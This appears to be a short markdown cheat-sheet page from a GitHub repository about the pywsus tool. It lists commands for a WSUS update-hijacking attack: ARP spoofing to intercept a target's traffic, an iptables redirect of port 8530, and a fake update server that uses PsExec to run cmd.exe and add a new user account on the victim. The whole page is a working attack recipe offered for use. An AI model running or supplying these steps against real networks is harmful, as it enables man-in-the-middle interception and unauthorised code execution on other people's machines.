Skip to content

Latest commit

 

History

History
18 lines (14 loc) · 417 Bytes

pywsus.md

File metadata and controls

18 lines (14 loc) · 417 Bytes

Source

https://github.com/GoSecure/pywsus

Get into mitm position

arpspoof -i <interface> -t <rhost> -r <gatewayIp>

Send traffic to localhost

iptables -t nat -I PREROUTING -i <interface> -p tcp --dport 8530 -j REDIRECT --to-port 8530

Start local wsus

python3 pywsus.py -H <lhost> -p 8530 -e <psexecExeFile> -c '/accepteula /s cmd.exe /c "net user /add <user> <password>"'